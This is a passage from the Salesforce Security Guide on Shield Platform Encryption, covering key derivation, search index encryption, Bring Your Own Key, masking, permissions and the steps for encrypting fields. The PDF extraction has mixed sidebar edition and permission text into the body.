
Note: Data that was in Einstein Analytics before encryption was enabled is not encrypted. If existing data is imported from
Salesforce objects through the dataflow, the data becomes encrypted on the next dataflow run. Other existing data (such as
CSV data) must be reimported to become encrypted. Although existing data is not encrypted, it is still accessible and fully
functional in its unencrypted state when encryption is enabled.
Salesforce B2B Commerce
With Shield Platform Encryption for B2B Commerce (version 4.10 and later), you can add an extra layer of security to the data your
customers enter in Salesforce B2B Commerce ecommerce storefronts. For a list of the supported fields, see Shield Platform Encryption
for B2B Commerce.
Search Indexes
When you encrypt search indexes, each file created to store search results is encrypted.

154
Salesforce Security Guide How Shield Platform Encryption Works

How Shield Platform Encryption Works

Shield Platform Encryption relies on a unique tenant secret that you control and a master secret
EDITIONS
that's maintained by Salesforce. By default, we combine these secrets to create your unique data
encryption key. You can also supply your own final data encryption key. We use your data encryption Available as an add-on
key to encrypt data that your users put into Salesforce, and to decrypt data when your authorized subscription in: Enterprise,
users need it. Performance, and
Encrypting files, fields, and attachments has no effect on your org’s storage limits. Unlimited Editions. Requires
purchasing Salesforce
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the Shield. Available in
difference? Developer Edition at no
charge for orgs created in
Summer ’15 and later.
IN THIS SECTION:
Shield Platform Encryption Terminology Available in both Salesforce
Classic and Lightning
Encryption has its own specialized vocabulary. To get the most out of your Shield Platform
Experience.
Encryption features, it’s a good idea to familiarize yourself with the key terms, such as hardware
security module, key rotation, and master secret.
What’s the Difference Between Classic Encryption and Shield Platform Encryption?
With Shield Platform Encryption, you can encrypt a variety of widely used standard fields, along with some custom fields and many
kinds of files. Shield Platform Encryption also supports person accounts, cases, search, approval processes, and other key Salesforce
features. Classic encryption lets you protect only a special type of custom text field, which you create for that purpose.
Behind the Scenes: The Shield Platform Encryption Process
When users submit data, the application server looks for the org-specific data encryption key in its cache. If it isn’t there, the application
server gets the encrypted tenant secret from the database and asks the key derivation server to derive the key. The Shield Platform
Encryption service then encrypts the data on the application server. If customers opt out of key derivation or use the Cache-Only
Key Service, the encryption service applies the customer-supplied data encryption key directly to customer data.
Behind the Scenes: The Search Index Encryption Process
The Salesforce search engine is built on the open-source enterprise search platform software Apache Solr. The search index, which
stores tokens of record data with links back to the original records stored in the database, is housed within Solr. Partitions divide the
search index into segments to allow Salesforce to scale operations. Apache Lucene is used for its core library.
How Does Shield Platform Encryption Work in a Sandbox?
Refreshing a sandbox from a production org creates an exact copy of the production org. If Shield Platform Encryption is enabled
on the production org, all encryption settings are copied, including tenant secrets created in production.
Why Bring Your Own Key?
Shield Platform Encryption’s Bring Your Own Key (BYOK) feature gives you an extra layer of protection in the event of unauthorized
access to critical data. It may also help you meet the regulatory requirements that come with handling financial data, such as credit
card numbers; health data, such as patient care records or insurance information; or other kinds of private data, such as social security
numbers, addresses, and phone numbers. Once you’ve set up your key material, you can use Shield Platform Encryption as you
normally would to encrypt data at rest in your Salesforce org.
Why Isn’t My Encrypted Data Masked?
If the Shield Platform Encryption service isn’t available, data is masked in some types of encrypted fields. This is to help you troubleshoot
encryption key issues, not to control user access to data. If you have data that you don’t want some users to see, revisit those users’
field-level security settings, record access settings, and object permissions.

155
Salesforce Security Guide How Shield Platform Encryption Works

How Do I Deploy Shield Platform Encryption?

When you deploy Shield Platform Encryption to your org with a tool such as Salesforce Extensions for Visual Studio Code, Migration
Tool, or Workbench, the Encrypted field attribute persists. However, if you deploy to orgs with different encryption settings, the
effect depends on whether Shield Platform Encryption is enabled in the target org.

Shield Platform Encryption Terminology

Encryption has its own specialized vocabulary. To get the most out of your Shield Platform Encryption
EDITIONS
features, it’s a good idea to familiarize yourself with the key terms, such as hardware security module,
key rotation, and master secret. Available as an add-on
Data Encryption subscription in: Enterprise,
The process of applying a cryptographic function to data that results in ciphertext. The platform Performance, and
encryption process uses symmetric key encryption and a 256-bit Advanced Encryption Standard Unlimited Editions. Requires
(AES) algorithm using CBC mode, and a randomized, 128-bit initialization vector (IV) to encrypt purchasing Salesforce
field-level data and files stored on the Salesforce Platform. Both data encryption and decryption Shield. Available in
occur on the application servers. Developer Edition at no
charge for orgs created in
Data Encryption Keys Summer ’15 and later.
Shield Platform Encryption uses data encryption keys to encrypt and decrypt data. Data
encryption keys are derived on the Shield Key Management Service (KMS) using keying material Available in both Salesforce
split between a per-release master secret and an org-specific tenant secret stored encrypted Classic and Lightning
in the database. The 256-bit derived keys exist in memory until evicted from the cache. Experience.

Encrypted Data at Rest

Data that is encrypted when persisted on disk. Salesforce supports encryption for fields stored in the database; documents stored
in files, content, libraries, and attachments; search index files; Einstein Analytics datasets; and archived data.
Encryption Key Management
Refers to all aspects of key management, such as key generation, processes, and storage. Administrators or users who have the
“Manage Encryption Keys” permission can work with Shield Platform Encryption key material.
Hardware Security Module (HSM)
Used to provide cryptography processing and key management for authentication. Shield Platform Encryption uses HSMs to generate
and store secret material, and run the function that derives data encryption keys used by the encryption service to encrypt and
decrypt data.
Initialization Vector (IV)
A random sequence used with a key to encrypt data.
Shield Key Management Service (KMS)
Generates, wraps, unwraps, derives, and secures key material. When deriving key material, the Shield KMS uses a pseudorandom
number generator and input such as a password to derive keys. Shield Platform Encryption uses PBKDF2 (Password-based Key
Derivation Function 2) with HMAC-SHA-256.
Key Rotation
The process of generating a new tenant secret and archiving the previously active one. Active tenant secrets are used for both
encryption and decryption. Archived ones are used only for decryption until all data has been re-encrypted using the new, active
tenant secret.
Master HSM
The master HSM consists of a USB device used to generate secure, random secrets each Salesforce release. The master HSM is
“air-gapped” from Salesforce’s production network and stored securely in a bank safety deposit box.

156
Salesforce Security Guide How Shield Platform Encryption Works

Master Secret
Used with the tenant secret and key derivation function to generate a derived data encryption key (customers can opt out of key
derivation). The master secret is rotated each release by Salesforce and encrypted using the per-release master wrapping key, which
is in turn encrypted with the Shield KMS’s public key so it can be stored encrypted on the file system. Only HSMs can decrypt it. No
Salesforce employees have access to these keys in cleartext.
Master Wrapping Key
A symmetric key is derived and used as a master wrapping key, also known as a key wrapping key, encrypting all the per-release
keys and secrets bundle.
Tenant Secret
An organization-specific secret used in conjunction with the master secret and key derivation function to generate a derived data
encryption key. When an organization administrator rotates a key, a new tenant secret is generated. To access the tenant secret via
the API, refer to the TenantSecret object. No Salesforce employees have access to these keys in cleartext.

What’s the Difference Between Classic Encryption and Shield Platform Encryption?
With Shield Platform Encryption, you can encrypt a variety of widely used standard fields, along
EDITIONS
with some custom fields and many kinds of files. Shield Platform Encryption also supports person
accounts, cases, search, approval processes, and other key Salesforce features. Classic encryption Available as an add-on
lets you protect only a special type of custom text field, which you create for that purpose. subscription in: Enterprise,
Performance, and
Feature Classic Encryption Platform Encryption Unlimited Editions. Requires
purchasing Salesforce
Pricing Included in base user Additional fee applies
Shield. Available in
license
Developer Edition at no
Encryption at Rest charge for orgs created in
Summer ’15 and later.
Native Solution (No Hardware or Software
Required) Available in both Salesforce
Classic and Lightning
Encryption Algorithm 128-bit Advanced 256-bit Advanced Experience.
Encryption Standard Encryption Standard
(AES) (AES)

HSM-based Key Derivation

Manage Encryption Keys Permission

Generate, Export, Import, and Destroy Keys

PCI-DSS L1 Compliance

Masking

Mask Types and Characters

View Encrypted Data Permission Required

to Read Encrypted Field Values

Encrypted Standard Fields

Encrypted Attachments, Files, and Content

157
Salesforce Security Guide How Shield Platform Encryption Works

Feature Classic Encryption Platform Encryption

Encrypted Custom Fields Dedicated custom field type,
limited to 175 characters

Encrypt Existing Fields for Supported Custom Field Types

Search (UI, Partial Search, Lookups, Certain SOSL Queries)

API Access

Available in Workflow Rules and Workflow Field Updates

Available in Approval Process Entry Criteria and Approval Step

Criteria

SEE ALSO:
Classic Encryption for Custom Fields

Behind the Scenes: The Shield Platform Encryption Process

When users submit data, the application server looks for the org-specific data encryption key in its
EDITIONS
cache. If it isn’t there, the application server gets the encrypted tenant secret from the database
and asks the key derivation server to derive the key. The Shield Platform Encryption service then Available as an add-on
encrypts the data on the application server. If customers opt out of key derivation or use the subscription in: Enterprise,
Cache-Only Key Service, the encryption service applies the customer-supplied data encryption key Performance, and
directly to customer data. Unlimited Editions. Requires
Salesforce securely generates the master and tenant secrets by using Hardware Security Modules purchasing Salesforce
(HSMs). The unique key is derived by using PBKDF2, a Key Derivation Function (KDF), with the master Shield. Available in
and tenant secrets as inputs. Developer Edition at no
charge for orgs created in
Summer ’15 and later.

Available in both Salesforce

Classic and Lightning
Experience.

158
Salesforce Security Guide How Shield Platform Encryption Works

Shield Platform Encryption Process Flow

1. When a Salesforce user saves encrypted data, the runtime engine determines from metadata whether to encrypt the field, file, or
attachment before storing it in the database.
2. If so, the encryption service checks for the matching data encryption key in cached memory.
3. The encryption service determines whether the key exists.
a. If so, the encryption service retrieves the key.
b. If not, the service sends a derivation request to a key derivation server and returns it to the encryption service running on the
Salesforce Platform.

4. After retrieving or deriving the key, the encryption service generates a random initialization vector (IV) and encrypts the data using
256-bit AES encryption.
5. The ciphertext is saved in the database or file storage. The IV and corresponding ID of the tenant secret used to derive the data
encryption key are saved in the database.
Salesforce generates a new master secret at the start of each release.

159
Salesforce Security Guide How Shield Platform Encryption Works

Behind the Scenes: The Search Index Encryption Process

The Salesforce search engine is built on the open-source enterprise search platform software Apache
EDITIONS
Solr. The search index, which stores tokens of record data with links back to the original records
stored in the database, is housed within Solr. Partitions divide the search index into segments to Available as an add-on
allow Salesforce to scale operations. Apache Lucene is used for its core library. subscription in: Enterprise,
Using Shield Platform Encryption’s HSM-based key derivation architecture, metadata, and Performance, and
configurations, Search Index Encryption runs when Shield Platform Encryption is in use. The solution Unlimited Editions. Requires
applies strong encryption on an org-specific search index (.fdt, .tim, and .tip file types) using an purchasing Salesforce
org-specific AES-256 bit encryption key. The search index is encrypted at the search index segment Shield. Available in
level, and all search index operations require index blocks to be encrypted in memory. Developer Edition at no
charge for orgs created in
The only way to access the search index or the key cache is through programmatic APIs. Summer ’15 and later.
A Salesforce security administrator can enable Search Index Encryption from Setup. The administrator
Available in both Salesforce
first creates a tenant secret of the Search Index type, then enables Encryption for Search Indexes. Classic and Lightning
The admin configures their encryption policy by selecting fields and files to encrypt. An org-specific Experience.
HSM-derived key is derived from the tenant secret on demand. The key material is passed to the
search engine’s cache on a secure channel.
The process when a user creates or edits records:
1. The core application determines if the search index segment should be encrypted or not based on metadata.
2. If the search index segment should be encrypted, the encryption service checks for the matching search encryption key ID in the
cached memory.
3. The encryption service determines if the key exists in the cache.
a. If the key exists in the cache, the encryption service uses the key for encryption.
b. Otherwise, the service sends a request to the core application, which in turn sends an authenticated derivation request to a key
derivation server and returns the key to the core application server.

4. After retrieving the key, the encryption service generates a random initialization vector (IV) and encrypts the data using NSS or JCE’s
AES-256 implementation.
5. The key ID (identifier of the key being used to encrypt the index segment) and IV are saved in the search index.
The process is similar when a user searches for encrypted data:
1. When a user searches for a term, the term is passed to the search index, along with which Salesforce objects to search.
2. When the search index executes the search, the encryption service opens the relevant segment of the search index in memory and
reads the key ID and IV.
3. Steps 3 through 5 of the process when a user creates or edits records are repeated.
4. The search index processes the search and returns the results to the user seamlessly.
If Salesforce admins disable encryption on a field, all index segments that were encrypted are unencrypted and the key ID is set to null.
This process can take up to seven days.

160
Salesforce Security Guide How Shield Platform Encryption Works

How Does Shield Platform Encryption Work in a Sandbox?

Refreshing a sandbox from a production org creates an exact copy of the production org. If Shield
EDITIONS
Platform Encryption is enabled on the production org, all encryption settings are copied, including
tenant secrets created in production. Available as an add-on
Once a sandbox is refreshed, tenant secret changes are confined to your current org. This means subscription in: Enterprise,
that when you rotate or destroy a tenant secret on sandbox, it doesn’t affect the production org. Performance, and
Unlimited Editions. Requires
As a best practice, rotate tenant secrets on sandboxes after a refresh. Rotation ensures that production
purchasing Salesforce
and sandbox use different tenant secrets. Destroying tenant secrets on a sandbox renders encrypted Shield. Available in
data unusable in cases of partial or full copies. Developer Edition at no
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the charge for orgs created in
difference? Summer ’15 and later.

Available in both Salesforce

Classic and Lightning
Experience.

Why Bring Your Own Key?

Shield Platform Encryption’s Bring Your Own Key (BYOK) feature gives you an extra layer of protection
EDITIONS
in the event of unauthorized access to critical data. It may also help you meet the regulatory
requirements that come with handling financial data, such as credit card numbers; health data, Available as an add-on
such as patient care records or insurance information; or other kinds of private data, such as social subscription in: Enterprise,
security numbers, addresses, and phone numbers. Once you’ve set up your key material, you can Performance, and
use Shield Platform Encryption as you normally would to encrypt data at rest in your Salesforce org. Unlimited Editions. Requires
Shield Platform Encryption enables Salesforce administrators to manage the lifecycle of their data purchasing Salesforce
encryption keys while protecting these keys from unauthorized access. By controlling the lifecycle Shield. Available in
of your organization’s tenant secrets, you control the lifecycle of the data encryption keys derived Developer Edition at no
charge for orgs created in
from them. Alternatively, you can opt out of key derivation altogether and upload a final data
Summer ’15 and later.
encryption key.
Data encryption keys aren’t stored in Salesforce. Instead, they’re derived from the master secret and Available in both Salesforce
tenant secret on demand whenever a key is needed to encrypt or decrypt customer data. The Classic and Lightning
master secret is generated once per release for everyone by a hardware security module (HSM). Experience.
The tenant secret is unique to your org, and you control when it is generated, activated, revoked,
or destroyed.
You have four options for setting up your key material.
• Use the Shield Key Management Service (KMS) to generate your org-specific tenant secret for you.
• Use the infrastructure of your choice, such as an on-premises HSM, to generate and manage your tenant secret outside of Salesforce.
Then upload that tenant secret to the Salesforce KMS. This option is popularly known as “Bring Your Own Key,” although the element
you’re really bringing is the tenant secret from which the key is derived.
• Opt out of the Shield KMS key derivation process with the Bring Your Own Key service. Use the infrastructure of your choice to create
a data encryption key instead of a tenant secret. Then upload this data encryption key to the Shield KMS. When you opt out of
derivation on a key-by-key basis, the Shield KMS bypasses the derivation process and uses this key material as your final data encryption
key. You can rotate customer-supplied data encryption keys just like you would rotate a customer-supplied tenant secret.
• Generate and store your key material outside of Salesforce using a key service of your choice, and use the Salesforce Cache-Only Key
Service to fetch your key material on demand. Your key service transmits your key material over a secure channel that you configure.
It’s then encrypted and stored in the cache for immediate encrypt and decrypt operations.

161
Salesforce Security Guide How Shield Platform Encryption Works

Why Isn’t My Encrypted Data Masked?

If the Shield Platform Encryption service isn’t available, data is masked in some types of encrypted
EDITIONS
fields. This is to help you troubleshoot encryption key issues, not to control user access to data. If
you have data that you don’t want some users to see, revisit those users’ field-level security settings, Available as an add-on
record access settings, and object permissions. subscription in: Enterprise,
Encryption prevents outsiders from using your Salesforce data even if they manage to get it. It is Performance, and
not a way to hide data from authenticated users. User permissions are the only way to control data Unlimited Editions. Requires
visibility for authenticated users. Encryption at rest is about logins, not permissions. purchasing Salesforce
Shield. Available in
With Shield Platform Encryption, if a user is authorized to see a given set of data, that user sees that Developer Edition at no
data whether it’s encrypted or not. charge for orgs created in
• Authentication means that making sure only legitimate users can get into your system. For Summer ’15 and later.
example, a company’s Salesforce org is only for use by active employees of that company.
Available in both Salesforce
Anyone who is not an employee is not authenticated; that is, they are barred from logging in. Classic and Lightning
If they do somehow get their hands on the data, it’s useless to them because it is encrypted. Experience.
• Authorization defines which data or features an authenticated user can use. For example, a
sales associate can see and use data in the Leads object, but can’t see the regional forecasts,
which are intended for sales managers. Both the associate and the manager are properly logged in (authenticated), but their
permissions (authorization) are different. That the data is encrypted doesn’t make any difference to them.
In general, data can be masked but not encrypted, or encrypted but not masked. For example, regulators often require that only the last
four digits of a credit card number be visible to users. Applications typically mask the rest of the number, meaning they replace the digits
with asterisks on the user’s screen. Without encryption, you can still read the digits that are masked if you can get to the database where
they are stored.
Masking might not be enough for your credit card numbers. You may or may not want to encrypt them in the database as well. (You
probably should.) If you do, authenticated users will still see the same masked values.
In this way, masking and encryption are different solutions for different problems. You mask data to hide it from users who are authenticated
but not authorized to see that data. You encrypt data to prevent someone from stealing the data. (Or, more precisely, to make the data
useless if someone does steal it.)
The following table shows the fields that use masking. All others don’t.

Field Type Mask What It Means

Email, Phone, Text, Text Area, ????? This field is encrypted, and the encryption key has been
Text Area (Long), URL destroyed.

!!!!! This service is unavailable right now. For help accessing this
service, contact Salesforce.

Custom Date 08/08/1888 This field is encrypted, and the encryption key has been
destroyed.

01/01/1777 This service is unavailable right now. For help accessing this
service, contact Salesforce.

Custom Date/Time 08/08/1888 12:00 PM This field is encrypted, and the encryption key has been
destroyed.

01/01/1777 12:00 PM This service is unavailable right now. For help accessing this
service, contact Salesforce.

162
Salesforce Security Guide Set Up Your Encryption Policy

You can’t enter these masking characters into an encrypted field. For example, if a Date field is encrypted and you enter 07/07/1777,
you must enter a different value before it can be saved.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

How Do I Deploy Shield Platform Encryption?

When you deploy Shield Platform Encryption to your org with a tool such as Salesforce Extensions
EDITIONS
for Visual Studio Code, Migration Tool, or Workbench, the Encrypted field attribute persists. However,
if you deploy to orgs with different encryption settings, the effect depends on whether Shield Available as an add-on
Platform Encryption is enabled in the target org. subscription in: Enterprise,
Regardless of how you deploy, Salesforce automatically checks to see if the implementation violates Performance, and
Shield Platform Encryption guidelines. Unlimited Editions. Requires
purchasing Salesforce
Source Organization Target Organization Result Shield. Available in
Developer Edition at no
Shield Platform Encryption Shield Platform Encryption The source Encrypted field charge for orgs created in
enabled enabled attribute indicates enablement Summer ’15 and later.

Shield Platform Encryption Shield Platform Encryption not The Encrypted field attribute is Available in both Salesforce
enabled enabled ignored Classic and Lightning
Experience.
Shield Platform Encryption not Shield Platform Encryption The target Encrypted field
enabled enabled attribute indicates enablement

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Set Up Your Encryption Policy

An encryption policy is your plan for encrypting data with Shield Platform Encryption. You can
EDITIONS
choose how you want to implement it. For example, you can encrypt individual fields and apply
different encryption schemes to those fields. Or you can choose to encrypt other data elements Available as an add-on
such as files and attachments, data in Chatter, or search indexes. Remember that encryption is not subscription in: Enterprise,
the same thing as field-level security or object-level security. Put those controls in place before you Performance, and
implement your encryption policy. Unlimited Editions. Requires
To provide Shield Platform Encryption for your org, contact your Salesforce account executive. purchasing Salesforce
They’ll help you provision the correct license so you can create key material and start encrypting Shield. Available in
data. Developer Edition at no
charge for orgs created in
Warning: Salesforce recommends testing Shield Platform Encryption in a sandbox org to Summer ’15 and later.
confirm that your reports, dashboards, processes, and other operations work correctly.
Available in both Salesforce
Classic and Lightning
IN THIS SECTION: Experience.
1. Which User Permissions Does Shield Platform Encryption Require?
Assign permissions to your users according to their roles regarding encryption and key
management. Some users need permission to select data for encryption, while other users require combinations of permissions to
work with certificates or key material. Enable these permissions for user profiles just like you would any other user permission.

163
Salesforce Security Guide Set Up Your Encryption Policy

2. Generate a Tenant Secret with Salesforce

Salesforce makes it easy to generate a unique tenant secret from the Setup menu.
3. Manage Tenant Secrets by Type
Tenant secret types allow you to specify which kind of data you want to encrypt with a Shield Platform Encryption tenant secret.
You can apply different key rotation cycles or key destruction policies to tenant secrets that encrypt different kinds of data. You can
apply a tenant secret to search index files and other data stored in Salesforce.
4. Encrypt New Data in Standard Fields
You can encrypt standard fields on standard objects with Shield Platform Encryption from the Encryption Policy page. For best results,
encrypt the least number of fields possible.
5. Encrypt Fields on Custom Objects and Custom Fields
You can encrypt standard fields on custom objects, and custom fields on both standard and custom objects. Shield Platform Encryption
also supports custom fields in installed managed packages. Apply encryption to custom fields from the management settings for
each object. For best results, encrypt the least number of fields possible. When you add encryption to a field, all new data in that
field is encrypted.
6. Encrypt New Files and Attachments
For another layer of data protection, encrypt files and attachments. If Shield Platform Encryption is on, the body of each file or
attachment is encrypted when it’s uploaded.
7. Encrypt Data in Chatter
Enabling Shield Platform Encryption for Chatter adds an extra layer of security to information that users share in Chatter. You can
encrypt data at rest in feed posts and comments, questions and answers, link names and URLs, poll questions and choices, and
content from your custom rich publisher apps.
8. Encrypt Search Index Files
Sometimes you need to search for personally identifiable information (PII) or data that’s encrypted in the database. When you search
your org, the results are stored in search index files. You can encrypt these search index files with Shield Platform Encryption, adding
another layer of security to your data.
9. Encrypt Einstein Analytics Data
To get started with Einstein Analytics Encryption, generate a tenant secret with Shield Platform Encryption. Once you generate an
Analytics tenant secret, Einstein Analytics Encryption uses the Shield Platform Encryption key management architecture to encrypt
your Einstein Analytics data.
10. Encrypt Event Bus Data
To enable encryption of change data capture or platform event messages at rest, generate an event bus tenant secret and then
enable encryption.
11. Fix Compatibility Problems
When you select fields or files to encrypt with Shield Platform Encryption, Salesforce automatically checks for potential side effects.
The validation service then warns you if any existing settings may pose a risk to data access or your normal use of Salesforce. You
have some options for how to clear up these problems.
12. Disable Encryption on Fields
At some point, you might need to disable Shield Platform Encryption for fields, files, or both. You can turn field encryption on or off
individually, but file encryption is all or nothing.

164
Salesforce Security Guide Set Up Your Encryption Policy

Which User Permissions Does Shield Platform Encryption Require?

Assign permissions to your users according to their roles regarding encryption and key management.
EDITIONS
Some users need permission to select data for encryption, while other users require combinations
of permissions to work with certificates or key material. Enable these permissions for user profiles Available as an add-on
just like you would any other user permission. subscription in: Enterprise,
Performance, and
Manage Customize View Manage Unlimited Editions. Requires
Encryption Application Setup and Certificates purchasing Salesforce
Keys Configuration Shield. Available in
Developer Edition at no
View Platform Encryption Setup pages
charge for orgs created in
Edit Encryption Policy page settings (Optional) Summer ’15 and later.

Generate, destroy, export, import, and Available in both Salesforce

upload tenant secrets and Classic and Lightning
customer-supplied key material Experience.

Query the TenantSecret object via the API

Edit, upload, and download

HSM-protected certificates with the
Shield Platform Encryption Bring Your
Own Key service

Enable features on the Advanced Settings (for

page BYOK
features)

The Customize Application and Manage Certificates permissions are automatically enabled for users with the System Administrator
profile.

Restrict Access to Encryption Policy Settings

You can require admins to also have the Manage Encryption Keys permission to complete encryption policy tasks. These tasks include
changing the encryption scheme on fields, enabling and disabling encryption on fields, files, and attachments, and other data elements.
To opt in to this feature, you need the Manage Encryption Keys permission. Then opt in from the Advanced Settings page.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Advanced Settings.
2. Select Restrict Access to Encryption Policy Settings.
You can also enable the Restrict Access to Encryption Policy Settings programmatically. For more information, see
PlatformEncryptionSettings in the Metadata API Developer Guide.

This restriction applies to actions taken through the API or from Setup pages, such as the Encryption Policy page or the Object Manager.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

165
Salesforce Security Guide Set Up Your Encryption Policy

Generate a Tenant Secret with Salesforce

Salesforce makes it easy to generate a unique tenant secret from the Setup menu.
EDITIONS
Only authorized users can generate tenant secrets from the Platform Encryption page. Ask your
Salesforce admin to assign you the Manage Encryption Keys permission. Available as an add-on
subscription in: Enterprise,
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key
Performance, and
Management.
Unlimited Editions. Requires
2. In the Choose Tenant Secret Type dropdown list, choose a data type. purchasing Salesforce
3. Click Generate Tenant Secret. Shield. Available in
Developer Edition at no
How often you can generate a tenant secret depends on the tenant secret type. charge for orgs created in
• You can generate tenant secrets for the Data in Salesforce type once every 24 hours in Summer ’15 and later.
production orgs, and once every 4 hours in Sandbox orgs.
Available in both Salesforce
• You can generate tenant secrets for the Search Index type once every 7 days. Classic and Lightning
Experience.
Note: You can have up to 50 active and archived tenant secrets of each type. For example,
you can have one active and 49 archived Data in Salesforce tenant secrets, and the same
number of Analytics tenant secrets. This limit includes Salesforce-generated and USER PERMISSIONS
customer-supplied key material.
To manage tenant secrets:
If you run into this limit, destroy an existing key before reactivating, rearchiving, or creating • Manage Encryption Keys
a callout to another one. Before destroying a key, synchronize the data it encrypts with
an active key.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

166
Salesforce Security Guide Set Up Your Encryption Policy

Manage Tenant Secrets by Type

Tenant secret types allow you to specify which kind of data you want to encrypt with a Shield
EDITIONS
Platform Encryption tenant secret. You can apply different key rotation cycles or key destruction
policies to tenant secrets that encrypt different kinds of data. You can apply a tenant secret to search Available as an add-on
index files and other data stored in Salesforce. subscription in: Enterprise,
Tenant secrets are categorized according to the kind of data they encrypt. Performance, and
Unlimited editions. Requires
Data in Salesforce
purchasing Salesforce
Encrypts data using the probabilistic encryption scheme, including data in fields, attachments, Shield. Available in
and files other than search index files. Developer Edition at no
Data in Salesforce (Deterministic) charge for orgs created in
Encrypts data using the deterministic encryption scheme, including data in fields, attachments, Summer ’15 and later.
and files other than search index files.
Available in both Salesforce
Search Index Classic and Lightning
Encrypts search index files. Experience.
Analytics
Encrypts Einstein Analytics data. USER PERMISSIONS
Event Bus
To manage tenant secrets:
Encrypts event messages that are stored temporarily in the event bus. For change data capture
• Manage Certificates
events, this secret encrypts data changes and the corresponding event that contains them. For
platform events, this secret encrypts the event message including event field data. AND
Manage Encryption Keys
Note:
• Tenant secrets that were generated or uploaded before the Spring ’17 release are
categorized as the Data in Salesforce type.
• You can have up to 50 active and archived tenant secrets of each type. For example, you
can have one active and 49 archived Data in Salesforce tenant secrets, and the same
number of Analytics tenant secrets. This limit includes Salesforce-generated and
customer-supplied key material.
If you run into this limit, destroy an existing key before reactivating, rearchiving, or creating
a callout to another one. Before destroying a key, synchronize the data it encrypts with
an active key.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. In the Choose Tenant Secret Type dropdown list, choose a data type.
The Key Management page displays all tenant secrets of each data type. If you generate or upload a tenant secret while viewing
tenant secrets of a particular type, it becomes the active tenant secret for that data.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

167
Salesforce Security Guide Set Up Your Encryption Policy

Encrypt New Data in Standard Fields

You can encrypt standard fields on standard objects with Shield Platform Encryption from the
EDITIONS
Encryption Policy page. For best results, encrypt the least number of fields possible.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the Available as an add-on
difference? subscription in: Enterprise,
Performance, and
Depending on the size of your org, enabling a standard field for encryption can take a few minutes. Unlimited Editions. Requires
1. Make sure that your org has an active encryption key. If you’re not sure, check with your purchasing Salesforce
administrator. Shield. Available in
Developer Edition at no
2. From Setup, in the Quick Find box, enter Platform Encryption, and then select charge for orgs created in
Encryption Policy. Summer ’15 and later.
3. Click Encrypt Fields.
Available in both Salesforce
4. Click Edit. Classic and Lightning
5. Select the fields you want to encrypt. Experience.
All new data entered in this field is encrypted. By default, data is encrypted using a probabilistic
encryption scheme. To apply deterministic encryption to your data, select Deterministic from USER PERMISSIONS
the Encryption Scheme list. For more information, see “How Deterministic Encryption Supports
Filtering” in Salesforce Help. To view setup:
• View Setup and
6. Click Save. Configuration
The automatic Platform Encryption validation service checks for settings in your org that can block To encrypt fields:
encryption. You receive an email with suggestions for fixing incompatible settings. • Customize Application
Field values are automatically encrypted only in records created or updated after you’ve enabled
encryption. Contact Salesforce to update existing records so that their field values are encrypted.

Note: To encrypt standard fields on custom objects, such as Custom Object Name, see Encrypt Fields on Custom Objects and
Custom Fields.

168
Salesforce Security Guide Set Up Your Encryption Policy

Encrypt Fields on Custom Objects and Custom Fields

You can encrypt standard fields on custom objects, and custom fields on both standard and custom
EDITIONS
objects. Shield Platform Encryption also supports custom fields in installed managed packages.
Apply encryption to custom fields from the management settings for each object. For best results, Available as an add-on
encrypt the least number of fields possible. When you add encryption to a field, all new data in that subscription in: Enterprise,
field is encrypted. Performance, and
Unlimited Editions. Requires
IN THIS SECTION: purchasing Salesforce
Shield. Available in
Encrypt New Data in Custom Fields in Salesforce Classic Developer Edition at no
Apply Shield Platform Encryption to new custom fields in Salesforce Classic, or add encryption charge for orgs created in
to new data entered in an existing custom field. Summer ’15 and later.
Encrypt New Data in Custom Fields in Lightning Experience Available in both Salesforce
Apply Shield Platform Encryption to new custom fields in Lightning Experience, or add encryption Classic and Lightning
to new data entered in an existing custom field. Experience.
Encrypt Custom Fields in Installed Managed Packages
If an installed managed package supports Shield Platform Encryption, you can encrypt custom USER PERMISSIONS
fields in that package. Turn on encryption for custom fields in installed managed packages from
the Advanced Settings page, and then apply encryption to custom fields in your installed To view setup:
managed package. • View Setup and
Configuration
To encrypt fields:
• Customize Application

169
Salesforce Security Guide Set Up Your Encryption Policy

Encrypt New Data in Custom Fields in Salesforce Classic

Apply Shield Platform Encryption to new custom fields in Salesforce Classic, or add encryption to
EDITIONS
new data entered in an existing custom field.
To apply deterministic encryption to custom fields, first enable deterministic encryption from the Available as an add-on
Platform Encryption Advanced Settings page in Setup. subscription in: Enterprise,
Performance, and
1. From the management settings for the object, go to Fields.
Unlimited Editions. Requires
2. In the Custom Fields & Relationships section, create a field or edit an existing one. purchasing Salesforce
3. Select Encrypted. Shield. Available in
All new data entered in this field is encrypted. By default, data is encrypted using a probabilistic Developer Edition at no
charge for orgs created in
encryption scheme. To apply deterministic encryption to your data, select a deterministic option
Summer ’15 and later.
listed under Encrypted.
4. Click Save. Available in both Salesforce
Classic and Lightning
The automatic Shield Platform Encryption validation service checks for settings in your org that can Experience.
block encryption. You receive an email with suggestions for fixing incompatible settings.
Field values are automatically encrypted only in records created or updated after you’ve enabled
USER PERMISSIONS
encryption. Synchronize your existing data with your active key material from the Encryption Statistics
and Data Sync page. To view setup:
• View Setup and
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the Configuration
difference?
To encrypt fields:
• Customize Application

170
Salesforce Security Guide Set Up Your Encryption Policy

Encrypt New Data in Custom Fields in Lightning Experience

Apply Shield Platform Encryption to new custom fields in Lightning Experience, or add encryption
EDITIONS
to new data entered in an existing custom field.
To apply deterministic encryption to custom fields, first enable deterministic encryption from the Available as an add-on
Platform Encryption Advanced Settings page in Setup. subscription in: Enterprise,
Performance, and
1. From Setup, select Object Manager, and then select your object.
Unlimited Editions. Requires
2. Click Fields & Relationships. purchasing Salesforce
3. When you create or edit a custom field, select Encrypted. Shield. Available in
All new data entered in this field is encrypted. By default, data is encrypted using a probabilistic Developer Edition at no
charge for orgs created in
encryption scheme. To apply deterministic encryption to your data, select a deterministic option
Summer ’15 and later.
